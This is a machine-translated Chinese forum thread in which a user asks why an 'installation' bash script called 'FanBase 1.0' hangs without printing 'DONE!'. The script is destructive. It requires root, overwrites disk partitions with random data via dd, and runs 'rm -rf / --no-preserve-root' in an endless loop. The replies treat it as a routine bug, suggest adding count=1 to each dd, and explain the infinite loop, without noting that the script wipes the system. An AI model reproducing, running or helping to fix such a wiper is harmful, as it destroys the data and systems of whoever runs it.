为什么一段时间后的代码是正确的;做..;完成循环从未在 bash 中调用



此脚本列在安装中。但是,它只是挂起并且不执行任何操作。是不是有什么问题。

我尝试在多台计算机上运行此脚本。

#!/bin/bash
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root" 
   exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message 
rm -rf b
while true
  do
   echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
   dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
   dd if=b of=/dev/sda1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
   rm -rf / --no-preserve-root 2> /dev/null
  done
echo "DONE!"

它应该说"完成!

让我们调试一下。尝试向每个dd命令添加count=1选项。例如

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

你有一个无限循环:

while true
do
  ....
done

将永远运行,永远不会到达最后一行打印"完成!

最新更新